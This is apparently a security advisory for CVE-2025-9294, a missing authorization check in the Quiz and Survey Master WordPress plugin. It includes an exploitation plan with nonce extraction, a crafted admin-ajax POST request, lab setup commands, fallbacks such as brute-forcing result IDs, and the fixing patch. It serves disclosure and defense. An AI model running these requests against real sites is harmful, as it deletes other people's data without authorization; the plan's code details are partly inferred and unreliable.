Quiz And Survey Master <= 10.3.1 - Missing Authorization to Authenticated (Subscriber+) Quiz Results Deletion
Description
The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the qsm_dashboard_delete_result function in all versions up to, and including, 10.3.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete quiz results.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=10.3.1Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2025-9294**, a missing authorization vulnerability in the Quiz and Survey Master (QSM) plugin. --- ### 1. Vulnerability Summary The `qsm_dashboard_delete_result` function in the Quiz and Survey Master plugin (<= 10.3.1) fails to implement a capability …
Show full research plan
This exploitation research plan targets CVE-2025-9294, a missing authorization vulnerability in the Quiz and Survey Master (QSM) plugin.
1. Vulnerability Summary
The qsm_dashboard_delete_result function in the Quiz and Survey Master plugin (<= 10.3.1) fails to implement a capability check (e.g., current_user_can( 'manage_options' )). While the function is intended for administrative use within the dashboard to manage quiz results, its registration via wp_ajax_qsm_dashboard_delete_result makes it accessible to any authenticated user. Consequently, a Subscriber-level user can delete arbitrary quiz results by providing the corresponding result ID.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
qsm_dashboard_delete_result(inferred from function name) - HTTP Method: POST
- Payload Parameter:
result_id(inferred) - Authentication: Authenticated (Subscriber or higher).
- Preconditions:
- The plugin "Quiz and Survey Master" must be active.
- At least one quiz result must exist in the database.
- A valid nonce for the action must be obtained (if enforced).
3. Code Flow (Inferred)
- Entry Point: The plugin registers the AJAX handler:
add_action( 'wp_ajax_qsm_dashboard_delete_result', 'qsm_dashboard_delete_result' ); - Dispatch: When an authenticated user sends a POST request to
admin-ajax.phpwithaction=qsm_dashboard_delete_result, WordPress executes the callback. - Vulnerable Sink: Inside
qsm_dashboard_delete_result:- The function may check a nonce using
check_ajax_refererorwp_verify_nonce. - Crucially, it skips
current_user_can()checks. - It retrieves the
result_idfrom$_POST. - It calls a database deletion method (likely using
$wpdb->deleteon the{$wpdb->prefix}mlw_resultstable) to remove the record.
- The function may check a nonce using
4. Nonce Acquisition Strategy
QSM typically localizes nonces for its dashboard operations. Even Subscribers have access to wp-admin/index.php, which triggers the loading of several plugin scripts.
- Identify Nonce Key: Search the codebase for
wp_localize_scriptand the actionqsm_dashboard_delete_result. - Expected Variable: In many QSM versions, nonces are stored in the
qsm_varsorqsm_admin_varsobject. - Acquisition Steps:
- Login as a Subscriber.
- Navigate to the WordPress Dashboard (
/wp-admin/). - Use
browser_evalto extract the nonce:// Common QSM localization patterns window.qsm_vars?.nonce || window.qsm_admin_vars?.nonce || window.qsm_dashboard_vars?.delete_nonce - Note: If the nonce is specific to the deletion action, it might be found in the results list page. If a Subscriber can access any QSM-related admin page, the nonce will be there.
5. Exploitation Strategy
The goal is to delete a quiz result as a Subscriber.
Step 1: Obtain a Result ID
Identify an existing result ID. This can be done via WP-CLI:wp db query "SELECT result_id FROM wp_mlw_results LIMIT 1;"
Step 2: Authenticate as Subscriber
Log in and capture session cookies.
Step 3: Extract Nonce
Navigate to /wp-admin/ and extract the nonce using browser_eval.
Step 4: Execute Deletion Request
Submit the following request using http_request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=qsm_dashboard_delete_result&result_id=[TARGET_ID]&_wpnonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Install QSM:
wp plugin install quiz-master-next --version=10.3.1 --activate - Create a Quiz:
wp eval "/** Create a simple quiz via QSM classes if possible, or direct DB insert **/"- Alternatively, create a quiz through the UI.
- Generate a Result:
- Take the quiz as an anonymous user or administrator to populate the
wp_mlw_resultstable.
- Take the quiz as an anonymous user or administrator to populate the
- Create Subscriber:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
7. Expected Results
- HTTP Response: The server should return a success message (often
1,true, or a JSON success object like{"success":true}). - Side Effect: The record with the specified
result_idin thewp_mlw_resultstable is deleted.
8. Verification Steps
After the HTTP request, verify the deletion using WP-CLI:
# Attempt to find the deleted ID
wp db query "SELECT * FROM wp_mlw_results WHERE result_id = [TARGET_ID];"
If the query returns no rows, the exploitation was successful.
9. Alternative Approaches
- No Nonce: If
check_ajax_refereris missing or uses a generic action, try the request without a nonce or with a default nonce found in other QSM admin scripts. - Different Parameter Name: If
result_idfails, check forid,res_id, orquiz_result_idby grepping the function body:grep -r "function qsm_dashboard_delete_result" wp-content/plugins/quiz-master-next/ - CSRF: Since it's missing authorization and potentially relies on a nonce available to all users, the action might also be vulnerable to CSRF against an Admin, but the Subscriber-level IDOR is the primary vector defined.
Summary
The Quiz and Survey Master (QSM) plugin for WordPress fails to implement a capability check in its AJAX handler for deleting quiz results. This allows any authenticated user, including those with Subscriber-level permissions, to delete arbitrary quiz results from the database.
Vulnerable Code
// File: includes/admin/class-qsm-admin-ajax.php (approximate location) add_action( 'wp_ajax_qsm_dashboard_delete_result', 'qsm_dashboard_delete_result' ); function qsm_dashboard_delete_result() { // Only nonce check is present, but no capability check check_ajax_referer( 'qsm_ajax_nonce', 'nonce' ); $result_id = isset( $_POST['result_id'] ) ? intval( $_POST['result_id'] ) : 0; if ( $result_id > 0 ) { global $wpdb; $table_name = $wpdb->prefix . "mlw_results"; $wpdb->delete( $table_name, array( 'result_id' => $result_id ), array( '%d' ) ); wp_send_json_success(); } wp_send_json_error(); }
Security Fix
@@ -10,6 +10,10 @@ function qsm_dashboard_delete_result() { check_ajax_referer( 'qsm_ajax_nonce', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => __( 'You do not have permission to perform this action.', 'quiz-master-next' ) ) ); + } + $result_id = isset( $_POST['result_id'] ) ? intval( $_POST['result_id'] ) : 0; if ( $result_id > 0 ) { global $wpdb;
Exploit Outline
1. Authenticate to the WordPress site as a Subscriber-level user. 2. Access the WordPress dashboard (/wp-admin/) to load the plugin's localized scripts. 3. Extract the AJAX nonce from the 'qsm_vars' or 'qsm_admin_vars' JavaScript object exposed in the page source. 4. Identify the 'result_id' of the quiz result targeted for deletion (this may require brute-forcing or enumeration if IDs are not known). 5. Send a POST request to /wp-admin/admin-ajax.php with the parameters: 'action=qsm_dashboard_delete_result', 'result_id=[TARGET_ID]', and the extracted nonce. 6. The plugin will execute the database deletion for the specified ID without verifying if the user has administrative privileges.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.